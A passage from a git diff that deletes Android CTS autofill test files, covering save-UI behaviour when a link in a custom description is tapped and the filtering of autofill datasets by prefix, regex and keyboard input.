-            .batchUpdate(mValidCondition, mValidUpdate)
-            .addOnClickAction(42, mValidAction)
-            .build();
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        mBuilder.build();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.addChild(108, mValidTransformation));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.batchUpdate(mValidCondition, mValidUpdate));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.addOnClickAction(42, mValidAction));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
deleted file mode 100644
index c0a4629..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ /dev/null
@@ -1,322 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.content.Intent;
-import android.service.autofill.CustomDescription;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-
-import org.junit.Test;
-
-/**
- * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
- * tapped by the user.
- *
- * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
- * <ul>
- *   <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
- *   <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
- *       and shown in the same activity.
- * </ul>
- *
- * <p>The overall behavior should be the same in both cases, although the implementation of the
- * tests per se will be sligthly different.
- */
-abstract class CustomDescriptionWithLinkTestCase<A extends AbstractAutoFillActivity> extends
-        AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    private static final String ID_LINK = "link";
-
-    private final Class<A> mActivityClass;
-
-    protected A mActivity;
-
-    protected CustomDescriptionWithLinkTestCase(@NonNull Class<A> activityClass) {
-        mActivityClass = activityClass;
-    }
-
-    protected void startActivity() {
-        startActivity(false);
-    }
-
-    protected void startActivity(boolean remainOnRecents) {
-        final Intent intent = new Intent(mContext, mActivityClass);
-        if (remainOnRecents) {
-            intent.setFlags(
-                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_TASK);
-        }
-        mActivity = launchActivity(intent);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description and then taps back:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_tapBack() throws Exception {
-        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, change the screen
-     * orientation while the new activity is show, then taps back:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_changeOrientationThenTapBack() throws Exception {
-        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
-
-        mUiBot.assumeMinimumResolution(500);
-        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-        try {
-            saveUiRestoredAfterTappingLinkTest(
-                    PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
-        } finally {
-            try {
-                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-                cleanUpAfterScreenOrientationIsBackToPortrait();
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            } finally {
-                mUiBot.resetScreenResolution();
-            }
-        }
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    public final void testTapLink_finishActivity() throws Exception {
-        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
-    }
-
-    protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception;
-
-    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and touch outside the Save UI to dismiss it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and touch outside the Save UI to dismiss it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and tap the "No" button to dismiss it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
-                false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and tap the "No" button to dismiss it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and the "Yes" button to save it.
-     *
-     * <p>Then user starts a new session by focusing in a field.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
-                false);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, taps back to return to the
-     * activity with the Save UI, and the "Yes" button to save it.
-     *
-     * <p>Then user starts a new session by forcing autofill.
-     */
-    @Test
-    public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
-            throws Exception {
-        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
-    }
-
-    protected abstract void tapLinkThenTapBackThenStartOverTest(
-            PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then re-launches the
-     * original activity:
-     * the Save UI should have been canceled.
-     */
-    @Test
-    public final void testTapLink_backToPreviousActivityByLaunchingIt()
-            throws Exception {
-        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a link in the custom description, then launches a 3rd
-     * activity:
-     * the Save UI should have been canceled.
-     */
-    @Test
-    public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
-        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
-    }
-
-    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception;
-
-    @Test
-    public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
-            throws Exception {
-        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-        Helper.resetApplicationAutofillOptions(sContext);
-
-        tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
-
-        // Clear AutofillOptions.
-        Helper.clearApplicationAutofillOptions(sContext);
-    }
-
-    protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception;
-
-    @Test
-    public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
-        tapLinkAfterUpdateAppliedTest(true);
-    }
-
-    @Test
-    public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
-        tapLinkAfterUpdateAppliedTest(false);
-    }
-
-    protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
-
-    enum PostSaveLinkTappedAction {
-        TAP_BACK_BUTTON,
-        ROTATE_THEN_TAP_BACK_BUTTON,
-        FINISH_ACTIVITY,
-        LAUNCH_NEW_ACTIVITY,
-        LAUNCH_PREVIOUS_ACTIVITY,
-        TOUCH_OUTSIDE,
-        TAP_NO_ON_SAVE_UI,
-        TAP_YES_ON_SAVE_UI
-    }
-
-    protected final void startActivityOnNewTask(Class<?> clazz) {
-        final Intent intent = new Intent(mContext, clazz);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-    }
-
-    protected RemoteViews newTemplate() {
-        final RemoteViews presentation = new RemoteViews(mPackageName,
-                R.layout.custom_description_with_link);
-        return presentation;
-    }
-
-    protected final CustomDescription.Builder newCustomDescriptionBuilder(
-            Class<? extends Activity> activityClass) {
-        final Intent intent = new Intent(mContext, activityClass);
-        intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
-        return newCustomDescriptionBuilder(intent);
-    }
-
-    protected final CustomDescription newCustomDescription(
-            Class<? extends Activity> activityClass) {
-        return newCustomDescriptionBuilder(activityClass).build();
-    }
-
-    protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
-        final RemoteViews presentation = newTemplate();
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
-        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
-        return new CustomDescription.Builder(presentation);
-    }
-
-    protected final CustomDescription newCustomDescription(Intent intent) {
-        return newCustomDescriptionBuilder(intent).build();
-    }
-
-    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) throws Exception {
-        return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
-    }
-
-    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText)
-            throws Exception {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(saveType);
-        // Then make sure it does have the custom view with link on it...
-        final UiObject2 link = getLink(saveUi);
-        assertThat(link.getText()).isEqualTo(expectedText);
-        return saveUi;
-    }
-
-    protected final UiObject2 getLink(final UiObject2 container) {
-        final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
-        assertThat(link).isNotNull();
-        return link;
-    }
-
-    protected final void tapSaveUiLink(UiObject2 saveUi) {
-        getLink(saveUi).click();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
deleted file mode 100644
index 3839d63..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-public class DatasetFilteringDropdownTest extends DatasetFilteringTest {
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
deleted file mode 100644
index 6893090..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ /dev/null
@@ -1,671 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
-
-import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.content.IntentSender;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.view.KeyEvent;
-import android.widget.EditText;
-
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
-
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-import java.util.regex.Pattern;
-
-public abstract class DatasetFilteringTest extends AbstractLoginActivityTestCase {
-
-    protected DatasetFilteringTest() {
-    }
-
-    protected DatasetFilteringTest(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Override
-    protected TestRule getMainTestRule() {
-        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
-                        .around(super.getMainTestRule());
-    }
-
-
-    private void changeUsername(CharSequence username) {
-        mActivity.onUsername((v) -> v.setText(username));
-    }
-
-
-    @Test
-    public void testFilter() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-
-        // Delete some text to bring back 2 datasets
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown again
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-    }
-
-    @Test
-    public void testFilter_injectingEvents() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        sendKeyEvent("KEYCODE_DEL");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        sendKeyEvent("KEYCODE_DEL");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sendKeyEvent("KEYCODE_A");
-        sendKeyEvent("KEYCODE_A");
-        sendKeyEvent("KEYCODE_A");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testFilter_usingKeyboard() throws Exception {
-        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-        assumeTrue("MockIME not available", mockImeSession != null);
-
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        final ImeEventStream stream = mockImeSession.openEventStream();
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        // Wait until the MockIme gets bound to the TestActivity.
-        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
-        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
-                MOCK_IME_TIMEOUT_MS);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd3 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
-        expectCommand(stream, cmd3, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        final ImeCommand cmd4 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
-        expectCommand(stream, cmd4, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
-        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_nullValuesAlwaysMatched() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null)
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Two datasets start with 'a' and one with null value always shown
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // One dataset start with 'aa' and one with null value always shown
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa, b);
-
-        // Two datasets start with 'a' and one with null value always shown
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa' and one with null value always shown
-        changeUsername("aaa");
-        mUiBot.assertDatasets(b);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_differentPrefixes() throws Exception {
-        final String a = "aaa";
-        final String b = "bra";
-        final String c = "cadabra";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, a)
-                        .setPresentation(a, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, b)
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, c)
-                        .setPresentation(c, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(a, b, c);
-
-        changeUsername("a");
-        mUiBot.assertDatasets(a);
-
-        changeUsername("b");
-        mUiBot.assertDatasets(b);
-
-        changeUsername("c");
-        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
-            mUiBot.assertDatasets(c);
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_usingRegex() throws Exception {
-        // Dataset presentations.
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever",
-                                Pattern.compile("a|ab"))
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_disabledUsingNullRegex() throws Exception {
-        // Dataset presentations.
-        final String unfilterable = "Unfilterabled";
-        final String aOrW = "A or W";
-        final String w = "Wazzup";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                // This dataset has a value but filter is disabled
-                .addDataset(new CannedDataset.Builder()
-                        .setUnfilterableField(ID_USERNAME, "a am I")
-                        .setPresentation(unfilterable, isInlineMode())
-                        .build())
-                // This dataset uses pattern to filter
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever",
-                                Pattern.compile("a|aw"))
-                        .setPresentation(aOrW, isInlineMode())
-                        .build())
-                // This dataset uses value to filter
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "wazzup")
-                        .setPresentation(w, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(unfilterable, aOrW, w);
-
-        // Only one dataset start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aOrW);
-
-        // No dataset starts with 'aa'
-        changeUsername("aa");
-        mUiBot.assertNoDatasets();
-
-        // Only one datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aOrW);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(unfilterable, aOrW, w);
-
-        // Only one datasets start with 'w'
-        changeUsername("w");
-        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
-            mUiBot.assertDatasets(w);
-        }
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_mixPlainAndRegex() throws Exception {
-        final String plain = "Plain";
-        final String regexPlain = "RegexPlain";
-        final String authRegex = "AuthRegex";
-        final String kitchnSync = "KitchenSync";
-        final Pattern everything = Pattern.compile(".*");
-
-        enableService();
-
-        // Set expectations.
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .build());
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aword")
-                        .setPresentation(plain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(regexPlain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", everything)
-                        .setAuthentication(authentication)
-                        .setPresentation(authRegex, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore",
-                                everything)
-                        .setPresentation(kitchnSync, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // All datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // Only the regex datasets should start with 'ab'
-        changeUsername("ab");
-        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter_usingKeyboard() is enough")
-    public void testFilter_mixPlainAndRegex_usingKeyboard() throws Exception {
-        final String plain = "Plain";
-        final String regexPlain = "RegexPlain";
-        final String authRegex = "AuthRegex";
-        final String kitchnSync = "KitchenSync";
-        final Pattern everything = Pattern.compile(".*");
-
-        enableService();
-
-        // Set expectations.
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .build());
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aword")
-                        .setPresentation(plain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(regexPlain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", everything)
-                        .setAuthentication(authentication)
-                        .setPresentation(authRegex, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore",
-                                everything)
-                        .setPresentation(kitchnSync, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
